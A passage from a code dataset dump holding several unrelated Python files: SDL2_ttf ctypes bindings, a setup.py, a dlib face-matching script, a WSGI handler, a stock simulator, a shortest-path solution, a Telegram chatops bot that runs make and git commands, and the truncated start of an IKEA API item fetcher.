libSDL2 import SDL_Color\nfrom libSDL2 import Uint32\n\n\nSDL_SetError = _libraries['libSDL2_ttf.so'].SDL_SetError\nSDL_SetError.restype = None\nSDL_SetError.argtypes = [STRING]\nTTF_SetError = SDL_SetError # alias\ndef TTF_VERSION(X): return SDL_TTF_VERSION(X) # macro\nSDL_TTF_MAJOR_VERSION = 2 # Variable c_int '2'\nTTF_MAJOR_VERSION = SDL_TTF_MAJOR_VERSION # alias\nSDL_GetError = _libraries['libSDL2_ttf.so'].SDL_GetError\nSDL_GetError.restype = STRING\nSDL_GetError.argtypes = []\nTTF_GetError = SDL_GetError # alias\ndef TTF_RenderUNICODE(font,text,fg,bg): return TTF_RenderUNICODE_Shaded(font, text, fg, bg) # macro\nSDL_TTF_MINOR_VERSION = 0 # Variable c_int '0'\nTTF_MINOR_VERSION = SDL_TTF_MINOR_VERSION # alias\ndef TTF_RenderUTF8(font,text,fg,bg): return TTF_RenderUTF8_Shaded(font, text, fg, bg) # macro\nSDL_TTF_PATCHLEVEL = 12 # Variable c_int '12'\nTTF_PATCHLEVEL = SDL_TTF_PATCHLEVEL # alias\ndef TTF_RenderText(font,text,fg,bg): return TTF_RenderText_Shaded(font, text, fg, bg) # macro\nTTF_Linked_Version = _libraries['libSDL2_ttf.so'].TTF_Linked_Version\nTTF_Linked_Version.restype = POINTER(SDL_version)\nTTF_Linked_Version.argtypes = []\nTTF_ByteSwappedUNICODE = _libraries['libSDL2_ttf.so'].TTF_ByteSwappedUNICODE\nTTF_ByteSwappedUNICODE.restype = None\nTTF_ByteSwappedUNICODE.argtypes = [c_int]\nclass _TTF_Font(Structure):\n pass\nTTF_Font = _TTF_Font\nTTF_Init = _libraries['libSDL2_ttf.so'].TTF_Init\nTTF_Init.restype = c_int\nTTF_Init.argtypes = []\nTTF_OpenFont = _libraries['libSDL2_ttf.so'].TTF_OpenFont\nTTF_OpenFont.restype = POINTER(TTF_Font)\nTTF_OpenFont.argtypes = [STRING, c_int]\nTTF_OpenFontIndex = _libraries['libSDL2_ttf.so'].TTF_OpenFontIndex\nTTF_OpenFontIndex.restype = POINTER(TTF_Font)\nTTF_OpenFontIndex.argtypes = [STRING, c_int, c_long]\nTTF_OpenFontRW = _libraries['libSDL2_ttf.so'].TTF_OpenFontRW\nTTF_OpenFontRW.restype = POINTER(TTF_Font)\nTTF_OpenFontRW.argtypes = [POINTER(SDL_RWops), c_int, c_int]\nTTF_OpenFontIndexRW = _libraries['libSDL2_ttf.so'].TTF_OpenFontIndexRW\nTTF_OpenFontIndexRW.restype = POINTER(TTF_Font)\nTTF_OpenFontIndexRW.argtypes = [POINTER(SDL_RWops), c_int, c_int, c_long]\nTTF_GetFontStyle = _libraries['libSDL2_ttf.so'].TTF_GetFontStyle\nTTF_GetFontStyle.restype = c_int\nTTF_GetFontStyle.argtypes = [POINTER(TTF_Font)]\nTTF_SetFontStyle = _libraries['libSDL2_ttf.so'].TTF_SetFontStyle\nTTF_SetFontStyle.restype = None\nTTF_SetFontStyle.argtypes = [POINTER(TTF_Font), c_int]\nTTF_GetFontOutline = _libraries['libSDL2_ttf.so'].TTF_GetFontOutline\nTTF_GetFontOutline.restype = c_int\nTTF_GetFontOutline.argtypes = [POINTER(TTF_Font)]\nTTF_SetFontOutline = _libraries['libSDL2_ttf.so'].TTF_SetFontOutline\nTTF_SetFontOutline.restype = None\nTTF_SetFontOutline.argtypes = [POINTER(TTF_Font), c_int]\nTTF_GetFontHinting = _libraries['libSDL2_ttf.so'].TTF_GetFontHinting\nTTF_GetFontHinting.restype = c_int\nTTF_GetFontHinting.argtypes = [POINTER(TTF_Font)]\nTTF_SetFontHinting = _libraries['libSDL2_ttf.so'].TTF_SetFontHinting\nTTF_SetFontHinting.restype = None\nTTF_SetFontHinting.argtypes = [POINTER(TTF_Font), c_int]\nTTF_FontHeight = _libraries['libSDL2_ttf.so'].TTF_FontHeight\nTTF_FontHeight.restype = c_int\nTTF_FontHeight.argtypes = [POINTER(TTF_Font)]\nTTF_FontAscent = _libraries['libSDL2_ttf.so'].TTF_FontAscent\nTTF_FontAscent.restype = c_int\nTTF_FontAscent.argtypes = [POINTER(TTF_Font)]\nTTF_FontDescent = _libraries['libSDL2_ttf.so'].TTF_FontDescent\nTTF_FontDescent.restype = c_int\nTTF_FontDescent.argtypes = [POINTER(TTF_Font)]\nTTF_FontLineSkip = _libraries['libSDL2_ttf.so'].TTF_FontLineSkip\nTTF_FontLineSkip.restype = c_int\nTTF_FontLineSkip.argtypes = [POINTER(TTF_Font)]\nTTF_GetFontKerning = _libraries['libSDL2_ttf.so'].TTF_GetFontKerning\nTTF_GetFontKerning.restype = c_int\nTTF_GetFontKerning.argtypes = [POINTER(TTF_Font)]\nTTF_SetFontKerning = _libraries['libSDL2_ttf.so'].TTF_SetFontKerning\nTTF_SetFontKerning.restype = None\nTTF_SetFontKerning.argtypes = [POINTER(TTF_Font), c_int]\nTTF_FontFaces = _libraries['libSDL2_ttf.so'].TTF_FontFaces\nTTF_FontFaces.restype = c_long\nTTF_FontFaces.argtypes = [POINTER(TTF_Font)]\nTTF_FontFaceIsFixedWidth = _libraries['libSDL2_ttf.so'].TTF_FontFaceIsFixedWidth\nTTF_FontFaceIsFixedWidth.restype = c_int\nTTF_FontFaceIsFixedWidth.argtypes = [POINTER(TTF_Font)]\nTTF_FontFaceFamilyName = _libraries['libSDL2_ttf.so'].TTF_FontFaceFamilyName\nTTF_FontFaceFamilyName.restype = STRING\nTTF_FontFaceFamilyName.argtypes = [POINTER(TTF_Font)]\nTTF_FontFaceStyleName = _libraries['libSDL2_ttf.so'].TTF_FontFaceStyleName\nTTF_FontFaceStyleName.restype = STRING\nTTF_FontFaceStyleName.argtypes = [POINTER(TTF_Font)]\nTTF_GlyphIsProvided = _libraries['libSDL2_ttf.so'].TTF_GlyphIsProvided\nTTF_GlyphIsProvided.restype = c_int\nTTF_GlyphIsProvided.argtypes = [POINTER(TTF_Font), Uint16]\nTTF_GlyphMetrics = _libraries['libSDL2_ttf.so'].TTF_GlyphMetrics\nTTF_GlyphMetrics.restype = c_int\nTTF_GlyphMetrics.argtypes = [POINTER(TTF_Font), Uint16, POINTER(c_int), POINTER(c_int), POINTER(c_int), POINTER(c_int), POINTER(c_int)]\nTTF_SizeText = _libraries['libSDL2_ttf.so'].TTF_SizeText\nTTF_SizeText.restype = c_int\nTTF_SizeText.argtypes = [POINTER(TTF_Font), STRING, POINTER(c_int), POINTER(c_int)]\nTTF_SizeUTF8 = _libraries['libSDL2_ttf.so'].TTF_SizeUTF8\nTTF_SizeUTF8.restype = c_int\nTTF_SizeUTF8.argtypes = [POINTER(TTF_Font), STRING, POINTER(c_int), POINTER(c_int)]\nTTF_SizeUNICODE = _libraries['libSDL2_ttf.so'].TTF_SizeUNICODE\nTTF_SizeUNICODE.restype = c_int\nTTF_SizeUNICODE.argtypes = [POINTER(TTF_Font), POINTER(Uint16), POINTER(c_int), POINTER(c_int)]\nTTF_RenderText_Solid = _libraries['libSDL2_ttf.so'].TTF_RenderText_Solid\nTTF_RenderText_Solid.restype = POINTER(SDL_Surface)\nTTF_RenderText_Solid.argtypes = [POINTER(TTF_Font), STRING, SDL_Color]\nTTF_RenderUTF8_Solid = _libraries['libSDL2_ttf.so'].TTF_RenderUTF8_Solid\nTTF_RenderUTF8_Solid.restype = POINTER(SDL_Surface)\nTTF_RenderUTF8_Solid.argtypes = [POINTER(TTF_Font), STRING, SDL_Color]\nTTF_RenderUNICODE_Solid = _libraries['libSDL2_ttf.so'].TTF_RenderUNICODE_Solid\nTTF_RenderUNICODE_Solid.restype = POINTER(SDL_Surface)\nTTF_RenderUNICODE_Solid.argtypes = [POINTER(TTF_Font), POINTER(Uint16), SDL_Color]\nTTF_RenderGlyph_Solid = _libraries['libSDL2_ttf.so'].TTF_RenderGlyph_Solid\nTTF_RenderGlyph_Solid.restype = POINTER(SDL_Surface)\nTTF_RenderGlyph_Solid.argtypes = [POINTER(TTF_Font), Uint16, SDL_Color]\nTTF_RenderText_Shaded = _libraries['libSDL2_ttf.so'].TTF_RenderText_Shaded\nTTF_RenderText_Shaded.restype = POINTER(SDL_Surface)\nTTF_RenderText_Shaded.argtypes = [POINTER(TTF_Font), STRING, SDL_Color, SDL_Color]\nTTF_RenderUTF8_Shaded = _libraries['libSDL2_ttf.so'].TTF_RenderUTF8_Shaded\nTTF_RenderUTF8_Shaded.restype = POINTER(SDL_Surface)\nTTF_RenderUTF8_Shaded.argtypes = [POINTER(TTF_Font), STRING, SDL_Color, SDL_Color]\nTTF_RenderUNICODE_Shaded = _libraries['libSDL2_ttf.so'].TTF_RenderUNICODE_Shaded\nTTF_RenderUNICODE_Shaded.restype = POINTER(SDL_Surface)\nTTF_RenderUNICODE_Shaded.argtypes = [POINTER(TTF_Font), POINTER(Uint16), SDL_Color, SDL_Color]\nTTF_RenderGlyph_Shaded = _libraries['libSDL2_ttf.so'].TTF_RenderGlyph_Shaded\nTTF_RenderGlyph_Shaded.restype = POINTER(SDL_Surface)\nTTF_RenderGlyph_Shaded.argtypes = [POINTER(TTF_Font), Uint16, SDL_Color, SDL_Color]\nTTF_RenderText_Blended = _libraries['libSDL2_ttf.so'].TTF_RenderText_Blended\nTTF_RenderText_Blended.restype = POINTER(SDL_Surface)\nTTF_RenderText_Blended.argtypes = [POINTER(TTF_Font), STRING, SDL_Color]\nTTF_RenderUTF8_Blended = _libraries['libSDL2_ttf.so'].TTF_RenderUTF8_Blended\nTTF_RenderUTF8_Blended.restype = POINTER(SDL_Surface)\nTTF_RenderUTF8_Blended.argtypes = [POINTER(TTF_Font), STRING, SDL_Color]\nTTF_RenderUNICODE_Blended = _libraries['libSDL2_ttf.so'].TTF_RenderUNICODE_Blended\nTTF_RenderUNICODE_Blended.restype = POINTER(SDL_Surface)\nTTF_RenderUNICODE_Blended.argtypes = [POINTER(TTF_Font), POINTER(Uint16), SDL_Color]\nTTF_RenderText_Blended_Wrapped = _libraries['libSDL2_ttf.so'].TTF_RenderText_Blended_Wrapped\nTTF_RenderText_Blended_Wrapped.restype = POINTER(SDL_Surface)\nTTF_RenderText_Blended_Wrapped.argtypes = [POINTER(TTF_Font), STRING, SDL_Color, Uint32]\nTTF_RenderUTF8_Blended_Wrapped = _libraries['libSDL2_ttf.so'].TTF_RenderUTF8_Blended_Wrapped\nTTF_RenderUTF8_Blended_Wrapped.restype = POINTER(SDL_Surface)\nTTF_RenderUTF8_Blended_Wrapped.argtypes = [POINTER(TTF_Font), STRING, SDL_Color, Uint32]\nTTF_RenderUNICODE_Blended_Wrapped = _libraries['libSDL2_ttf.so'].TTF_RenderUNICODE_Blended_Wrapped\nTTF_RenderUNICODE_Blended_Wrapped.restype = POINTER(SDL_Surface)\nTTF_RenderUNICODE_Blended_Wrapped.argtypes = [POINTER(TTF_Font), POINTER(Uint16), SDL_Color, Uint32]\nTTF_RenderGlyph_Blended = _libraries['libSDL2_ttf.so'].TTF_RenderGlyph_Blended\nTTF_RenderGlyph_Blended.restype = POINTER(SDL_Surface)\nTTF_RenderGlyph_Blended.argtypes = [POINTER(TTF_Font), Uint16, SDL_Color]\nTTF_CloseFont = _libraries['libSDL2_ttf.so'].TTF_CloseFont\nTTF_CloseFont.restype = None\nTTF_CloseFont.argtypes = [POINTER(TTF_Font)]\nTTF_Quit = _libraries['libSDL2_ttf.so'].TTF_Quit\nTTF_Quit.restype = None\nTTF_Quit.argtypes = []\nTTF_WasInit = _libraries['libSDL2_ttf.so'].TTF_WasInit\nTTF_WasInit.restype = c_int\nTTF_WasInit.argtypes = []\nTTF_GetFontKerningSize = _libraries['libSDL2_ttf.so'].TTF_GetFontKerningSize\nTTF_GetFontKerningSize.restype = c_int\nTTF_GetFontKerningSize.argtypes = [POINTER(TTF_Font), c_int, c_int]\nTTF_HINTING_NORMAL = 0 # Variable c_int '0'\nTTF_STYLE_NORMAL = 0 # Variable c_int '0'\nTTF_STYLE_ITALIC = 2 # Variable c_int '2'\nTTF_HINTING_MONO = 2 # Variable c_int '2'\nTTF_STYLE_UNDERLINE = 4 # Variable c_int '4'\nTTF_HINTING_NONE = 3 # Variable c_int '3'\nTTF_HINTING_LIGHT = 1 # Variable c_int '1'\nTTF_STYLE_BOLD = 1 # Variable c_int '1'\nTTF_STYLE_STRIKETHROUGH = 8 # Variable c_int '8'\n_TTF_Font._fields_ = [\n]\n__all__ = ['TTF_SetFontOutline', 'TTF_FontLineSkip',\n 'SDL_TTF_MAJOR_VERSION', 'TTF_GetFontStyle',\n 'TTF_STYLE_ITALIC', 'TTF_STYLE_UNDERLINE',\n 'TTF_RenderText_Blended', 'TTF_Init',\n 'TTF_RenderUNICODE_Blended_Wrapped',\n 'TTF_RenderUTF8_Blended_Wrapped', 'TTF_MAJOR_VERSION',\n 'TTF_FontFaces', 'TTF_FontFaceIsFixedWidth',\n 'TTF_SizeUTF8', 'TTF_HINTING_MONO', 'TTF_GetFontKerning',\n 'TTF_SizeText', 'TTF_STYLE_BOLD', 'TTF_Linked_Version',\n 'TTF_RenderText', 'TTF_GetError', 'TTF_RenderGlyph_Solid',\n 'TTF_RenderUNICODE_Solid', 'TTF_SetError',\n 'TTF_HINTING_LIGHT', 'TTF_GlyphMetrics',\n 'TTF_RenderText_Shaded', 'TTF_Quit', 'TTF_HINTING_NONE',\n 'TTF_GetFontHinting', 'TTF_SizeUNICODE',\n 'TTF_RenderText_Solid', 'SDL_GetError',\n 'SDL_TTF_PATCHLEVEL', 'TTF_STYLE_STRIKETHROUGH',\n 'TTF_FontHeight', 'TTF_OpenFont', 'TTF_OpenFontIndex',\n 'TTF_FontFaceStyleName', 'TTF_Font',\n 'TTF_RenderText_Blended_Wrapped', 'TTF_RenderUTF8_Solid',\n 'TTF_RenderGlyph_Blended', 'TTF_STYLE_NORMAL',\n 'TTF_PATCHLEVEL', 'TTF_RenderUTF8_Blended',\n 'TTF_FontDescent', 'TTF_MINOR_VERSION',\n 'TTF_SetFontKerning', 'TTF_RenderUTF8_Shaded',\n 'TTF_GetFontOutline', 'TTF_RenderGlyph_Shaded',\n 'TTF_CloseFont', '_TTF_Font', 'TTF_VERSION',\n 'TTF_RenderUNICODE', 'TTF_ByteSwappedUNICODE',\n 'TTF_WasInit', 'TTF_SetFontStyle', 'SDL_SetError',\n 'TTF_RenderUTF8', 'SDL_TTF_MINOR_VERSION',\n 'TTF_SetFontHinting', 'TTF_OpenFontRW',\n 'TTF_HINTING_NORMAL', 'TTF_GlyphIsProvided',\n 'TTF_FontAscent', 'TTF_RenderUNICODE_Blended',\n 'TTF_RenderUNICODE_Shaded', 'TTF_FontFaceFamilyName',\n 'TTF_OpenFontIndexRW', 'TTF_GetFontKerningSize']\n","sub_path":"sdl/c/libSDL2_ttf.py","file_name":"libSDL2_ttf.py","file_ext":"py","file_size_in_byte":11849,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"469726715","text":"#!/usr/bin/env python\n\nimport os\nimport sys\nimport setuptools.command.egg_info as egg_info_cmd\nimport shutil\n\nfrom setuptools import setup, find_packages\n\nSETUP_DIR = os.path.dirname(__file__)\n\nlong_description = \"\"\n\n# with open(\"README.pypi.rst\") as readmeFile:\n# long_description = readmeFile.read()\n\nsetup(\n name='synapse-orchestrator',\n version='0.1',\n description='Synapse-based orchestrator for GA4GH workflows',\n long_description=long_description,\n author='Sage Bionetworks CompOnc Team',\n author_email='james.a.eddy@gmail.com',\n url='https://github.com/Sage-Bionetworks/synevalharness',\n download_url='https://github.com/Sage-Bionetworks/synevalharness',\n license='Apache 2.0',\n packages=['synorchestrator'],\n install_requires=[\n 'bravado',\n 'synapseclient',\n ],\n test_suite='nose.collector',\n tests_require=['nose', 'mock'],\n entry_points={\n 'console_scripts': 'orchestrate=synorchestrator.__main__:main'\n },\n zip_safe=True\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1007,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"378678231","text":"# 1 导入库\nimport cv2\nimport dlib\nimport numpy as np\n\n# 2 定义:关键点128D编码\ndef encoder_face(image,detector,predictor,encoder,unsample=1,jet=1):\n # 2.1 检测人脸\n faces = detector(image,unsample)\n # 2.2 每张人脸关键点检测\n faces_keypoints = [predictor(image,face)for face in faces]\n return [np.array(encoder.compute_face_descriptor(image,faces_keypoint,jet))for faces_keypoint in faces_keypoints]\n #通过这个方法直接把关键点编码\n\n# 3 定义:人脸是否属于同一个人/计算欧氏距离\ndef compare_faces(face_encoding,test_encoding):\n return list(np.linalg.norm(np.array(face_encoding)-np.array(test_encoding),axis=1))\n\n# 4 定义:比较之后输出对应名称\ndef compare_faces_order(face_encoding,test_encoding,names):\n distance = list(np.linalg.norm(np.array(face_encoding)-np.array(test_encoding),axis=1))\n return zip(*sorted(zip(distance,names)))\n\n\ndef main():\n # 2 读取4张图片\n img1 = cv2.imread(\"guo.jpg\")\n img2 = cv2.imread(\"liu1.jpg\")\n img3 = cv2.imread(\"liu2.jpg\")\n img4 = cv2.imread(\"liu3.jpg\")\n test = cv2.imread(\"liu4.jpg\")\n img1 = img1[:, :, ::-1]\n img2 = img2[:, :, ::-1]\n img3 = img3[:, :, ::-1]\n img4 = img4[:, :, ::-1]\n test = test[:, :, ::-1]\n\n img_names = [\"guo.jpg\",\"liu1.jpg\",\"liu2.jpg\",\"liu3.jpg\"]\n # 3 加载人脸检测器\n detector = dlib.get_frontal_face_detector()\n # 4 加载关键点的检测器\n predictor = dlib.shape_predictor(\"shape_predictor_68_face_landmarks.dat\")\n # 5 加载人脸特征编码模型\n encoder = dlib.face_recognition_model_v1(\"dlib_face_recognition_resnet_model_v1.dat\")\n # 6 调用编码方法:输出128D#\n img1_128D = encoder_face(img1,detector,predictor,encoder)[0]\n img2_128D = encoder_face(img2,detector,predictor,encoder)[0]\n img3_128D = encoder_face(img3,detector,predictor,encoder)[0]\n img4_128D = encoder_face(img4,detector,predictor,encoder)[0]\n test_128D = encoder_face(test,detector,predictor,encoder)[0]\n\n four_image_128D = [img1_128D,img2_128D,img3_128D,img4_128D]\n # 7 调用比较方法:计算距离,判断\n distance = compare_faces(four_image_128D,test_128D)\n # 8 调用方法 输出结果\n distance,name = compare_faces_order(four_image_128D,test_128D,img_names)\n print(len(img_names))\n print(\"distance:\",distance)\n print(\"names:\",name)\nif __name__ == '__main__':\n main()","sub_path":"OpenCV/face_recognition_dlib/face_rg_dlib.py","file_name":"face_rg_dlib.py","file_ext":"py","file_size_in_byte":2432,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"396234839","text":"#!/usr/bin/env/python3\n\nimport json\nimport subprocess\nfrom cgi import parse_qs, escape\n\ndef application(environ, start_response):\n\n\tstatus = '200 OK'\n\td = parse_qs(environ['QUERY_STRING'])\n\tvalue = d.get('value', [''])[0]\n\tvalue = escape(value)\n\n\toutput = {}\n\n\ttry:\n\t\twith open('/var/www/py3/options', 'w') as f:\n\t\t\tf.write(str(value))\n\texcept:\n\t\tstatus = '400 Bad Request'\n\telse:\t\n\t\tf.close()\n\n\toutput = json.dumps(output)\n\tresponse_body = output\n\n\tresponse_headers = [('Content-Type', 'text/plain'),\n\t\t\t\t\t\t('Content_Length', str(len(response_body)))]\n\n\tstart_response(status, response_headers)\n \n\treturn [response_body]\n","sub_path":"py3/set_temp.wsgi","file_name":"set_temp.wsgi","file_ext":"wsgi","file_size_in_byte":622,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"646225277","text":"import random as r\n\n\nclass Stock():\n\t\"\"\"Stock Object\t\"\"\"\n\tdef __init__(self, name, start_value):\n\t\t'''Initilises the object\n\t\t\n\t\tArguments:\n\t\t\tname {String} -- display name for the stock\n\t\t\tstart_value {int or float} -- price of the stock at initilisation\n\t\t'''\n\t\tself.name = name\n\t\tself.value = start_value\n\t\tself.avaliable_volume = 100\n\n\tdef getValue(self):\n\t\t'''Returns the Current stock price\n\n\t\tReturns:\n\t\t\t[Float] -- [Current Stock Price]\n\t\t'''\n\t\treturn self.value\n\n\tdef getName(self):\n\t\t'''Returns the printing name of the stock\n\t\t\n\t\tReturns:\n\t\t\t[String] -- [Display name]\n\t\t'''\n\t\treturn self.name\n\n\tdef buy(self,amount):\n\t\t'''Controls the buying function of the stock\n\t\t\n\t\tWill cause the stock's value to rise when more stock is bought\n\t\t\n\t\tArguments:\n\t\t\tamount {integer} -- Amount of shares being purchesed\n\t\t'''\n\t\tself.avaliable_volume -= amount\n\t\tfor i in range(amount):\n\t\t\tgrowth = 1 + (r.random()/100)\n\t\t\tself.value = self.value * growth\n\n\tdef sell(self,amount):\n\t\t'''Controls the selling of the stock\n\t\t\n\t\tWill cause the stock's value to drop the more stocks are sold\n\t\t\n\t\tArguments:\n\t\t\tamount {integer} -- Amount of shares being sold off\n\t\t'''\n\t\tself.avaliable_volume += amount\n\t\tfor i in range(amount):\n\t\t\tgrowth = 1 - (r.random()/100)\n\t\t\tself.value = self.value * growth\n\n#Creates 4 example stocks for this simulation\n\naapl = Stock('Apple',100)\ntsla = Stock('Tesla',100)\nmsft = Stock('Microsoft',100)\nnvda = Stock('Nvidia',100)\n\n#Gloabl list of all the posisble stocks\nglobal stocks\nstocks = [aapl,tsla,msft,nvda]\n\n\ndef buy(to_buy,amount):\n\t'''Buying printing\n\t\n\tWill print out infomation about the trade being made\n\t\n\tArguments:\n\t\tto_buy {stock} -- Stock Object to run the buy method on\n\t\tamount {integer} -- Amount of shares being bought\n\t'''\n\tprint('Buying %s shares of %s at price £%s' %(amount,to_buy.getName(),to_buy.getValue()))\n\tto_buy.buy(amount)\n\tafter = to_buy.getValue()\n\tprint('Price of %s stock after the trade %s' %(to_buy.getName(),to_buy.getValue()))\n\ndef sell(to_sell,amount):\n\t'''Selling printing\n\t\n\tWill print out the infomation about the trade being made\n\t\n\tArguments:\n\t\tto_sell {stock} -- Stock object for the stock that is to be sold\n\t\tamount {integer} -- Amonut of shares being sold\n\t'''\n\tprint('Selling %s shares of %s at price £%s' %(amount,to_sell.getName(),to_sell.getValue()))\n\tto_sell.sell(amount)\n\tafter = to_sell.getValue()\n\tprint('Price of %s stock after the trade %s' %(to_sell.getName(),to_sell.getValue()))\n\n\ndef main(sim_length):\n\t'''Main loop\n\t\n\tHas a 50:50 chance to buy or sell a random amount of a random stock\n\t\n\tArguments:\n\t\tsim_length {integer} -- Amount of iterations to loop through\n\t'''\n\tfor trade in range(sim_length):\n\t\tif r.random() > 0.5:\n\t\t\tto_buy = r.choice(stocks)\n\t\t\tamount = (r.randint(1,10))\n\t\t\tbuy(to_buy,amount)\n\t\telse:\n\t\t\tto_sell = r.choice(stocks)\n\t\t\tamount = (r.randint(1,10))\n\t\t\tsell(to_sell,amount)\n\nif __name__ == '__main__':\n\tmain(10)","sub_path":"Important but not root worthy/StockSim.py","file_name":"StockSim.py","file_ext":"py","file_size_in_byte":2920,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"35690712","text":"from heapq import heappop, heappush\n\nn, m, s, t = map(int, input().split())\ng = [[] for _ in range(n+1)]\n\nfor i in range(m) :\n u, v, k = map(int, input().split())\n g[u].append((v,k))\n g[v].append((u,k))\n\nheap = [(0,s)]\nd = [10000000091000000009] * (n+1)\nd[s] = 0\n\nwhile heap :\n du, u = heappop(heap)\n if du != d[u] : continue\n if u == t: break\n\n for v,k in g[u] :\n if (du + k < d[v]):\n d[v] = du + k\n heappush(heap,(d[v],v))\n \nif d[t] == 10000000091000000009 : \n print(-1)\nelse :\n print(d[t])","sub_path":"Webinar/Homework/Review/N09_Touring_AC.py","file_name":"N09_Touring_AC.py","file_ext":"py","file_size_in_byte":559,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"36544606","text":"import os\nfrom init import tb, tb_mem # init telebot and config obj\nfrom wrappers import secure, secure_call # place for wrappers\nfrom markups import Main_insec, Main_sec, Projects\nfrom markups import Test, Environments, Actions\nfrom markups import g_markup, g_inl_mark\nfrom actions import * # place for actions\n\n\ndef markdown(text):\n return '```\\n' + str(text) + '\\n```'\n\n\n@tb.message_handler(commands=['help', 'start', 'hi', 'hello'])\n@tb.message_handler(func=lambda m: m.text in ['Hi', 'H'])\n@secure\ndef send_welcome(message):\n text = \"Howdy, how are you doing?\"\n list_handlers = [item['filters']['commands']\n for item in tb.message_handlers\n if isinstance(item['filters']['commands'], list)]\n handlers = ''\n for l in list_handlers:\n for i, item in enumerate(l):\n handlers += \"/\" + item + '\\t\\t'\n if i == 0:\n handlers += '\\t\\t'\n handlers += '\\n'\n\n tb.send_message(message.chat.id, text, reply_markup=Main_insec)\n if tb_mem.IsAuthorised:\n tb.send_message(message.chat.id,\n \"here is what we can:\\n\" +\n str(handlers), reply_markup=Main_sec,\n parse_mode=\"HTML\")\n\n\n@tb.message_handler(commands=['test'])\n@secure\ndef test_fun_list(message):\n os.chdir(tb_mem.workDir)\n tb.send_message(message.chat.id, \"choose one of available tests:\",\n reply_markup=Test)\n\n\n@tb.message_handler(commands=['sudo'])\n@secure\ndef sudo(message):\n if len(message.text.split()) > 1:\n if message.text.split()[1] == tb_mem.secretQuestion:\n tb_mem.IsAuthorised = True\n tb.send_message(message.chat.id, 'Hello ' +\n str(message.from_user.id), reply_markup=Main_sec)\n else:\n print(str(message.from_user.id) + \" is trying sudo\")\n\n\n@tb.message_handler(commands=['projects', 'p'])\n@secure\ndef show_projects(message):\n os.chdir(tb_mem.workDir)\n tb.send_message(message.chat.id, 'Choose on of supported projects:',\n reply_markup=Projects)\n\n\n@tb.message_handler(commands=['Kafka', 'k'])\n@secure\ndef Kafka(message):\n path = tb_mem.workDir + \"/aws-kafka-cluster/\"\n os.chdir(path)\n ls(message)\n tb.send_message(message.chat.id, \"Which env?\",\n reply_markup=Environments)\n\n\n@tb.message_handler(commands=['telebot', 't'])\n@secure\ndef tbot(message):\n path = tb_mem.workDir + \"/tele-bot/\"\n os.chdir(path)\n ls(message)\n tb.send_message(message.chat.id, \"What are you gonna do?\",\n reply_markup=Actions)\n\n\n@tb.message_handler(commands=['dev', 'stage', 'prod'])\n@secure\ndef chenv(message):\n path = os.getcwd() + '/env-' + message.text.split()[0][1:]\n os.chdir(path)\n ls(message)\n tb.send_message(message.chat.id, \"What are you gonna do?\",\n reply_markup=Actions)\n\n\n@tb.message_handler(commands=['make'])\n@secure\ndef make_handle(message):\n command = \"\"\"make -qp $makef $makef_dir 2>/dev/null |\nawk -F':' '/^[a-zA-Z0-9][^$#\\/\\t=]*:([^=]|$)/ \\\n{split($1,A,/ /);for(i in A)print A[i]}'\n\"\"\"\n # Execute command and get list of lines as output\n L = (do_sh(command,message))\n # Generate inline with needed prefix\n m = g_inl_mark(L, message.text.split()[0])\n tb.send_message(message.chat.id, '.' * 50, reply_markup=m)\n\n\"\"\"\n if len(message.text.split()) == 1:\n do(make_list, message)\n else:\n do(\"make \" + message.text.split()[1], message)\n\"\"\"\n\n@tb.callback_query_handler(func=lambda call: '/make' in call.data)\n@secure_call\ndef call_make(call):\n print(do_sh(call.data[1:]))\n\n\n@tb.message_handler(commands=['git'])\n@secure\ndef git_handle(message):\n status = \"git branch -a |grep '*' ; git status\"\n if len(message.text.split()) == 1:\n do(status, message)\n else:\n do(\"git \" + message.text.split()[1], message)\n\n\n@tb.callback_query_handler(func=lambda call: True)\n@secure_call\ndef call_back(call):\n print(call.data)\n\n\n@tb.message_handler(commands=['ls'])\n@secure\ndef ls(message):\n files = [f for f in os.listdir(os.getcwd())]\n mark = g_inl_mark(files, prefix='/ls')\n tb.send_message(message.chat.id,\n '-', reply_markup=mark)\n\n response = 'your dir:\\n' + '\\n'.join(files)\n m = g_markup(['/projects'] + files)\n tb.send_message(message.chat.id,\n response, parse_mode=\"HTML\",\n reply_markup=m)\n # like in bash after [1:]\n action = \"ls -la\"\n for path in message.text.split()[1:]:\n do(action, message, path=path)\n\n\n@tb.message_handler(func=lambda m: len(m.text.split()) == 1)\n@secure\ndef cat(message):\n replay = \"cat file \" + message.text\n try:\n with open(message.text) as file:\n content = file.read()\n except Exception as e:\n content = str(e)\n try:\n tb.send_message(message.chat.id, replay + '\\n' + markdown(content),\n parse_mode='Markdown', reply_markup=Actions)\n except Exception as e:\n tb.send_message(message.chat.id, markdown(e), parse_mode='Markdown')\n\n\nif __name__ == '__main__':\n tb.polling(none_stop=True, timeout=50)\n","sub_path":"src/bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":5219,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"521483415","text":"from __future__ import annotations\n\nfrom requests import Session\n\nfrom ikea_api.constants import Constants, Secrets\nfrom ikea_api.endpoints.item import generic_item_fetcher\nfrom ikea_api.errors import ItemFetchError\n\n\ndef _fetch_items_specs(session: Session, items: list[str]):\n url = (\n \"https://api.ingka.ikea.com/salesitem/communications/\"\n + Constants.COUNTRY_CODE\n + \"/\"\n + Constants.LANGUAGE_CODE\n )\n params = {\"itemNos\": \",\".join(items)}\n response = session.get(url, params=params)\n r_json = response.json()\n if \"data\" not in r_json and \"error\" in r_json:\n err_msg = None\n if \"message\" in r_json[\"error\"]:\n error = r_json[\"error\"]\n r_err_msg = error[\"message\"]\n if r_err_msg == \"no item numbers were found\":\n try:\n err_msg = error[\"details\"][0][\"value\"][\"keys\"]\n except (KeyError, TypeError):\n pass\n if not err_msg:\n err_msg = r_err_msg\n else:\n err_msg = r_json[\"error\"]\n raise ItemFetchError(err_msg)\n\n return r_json\n\n\ndef 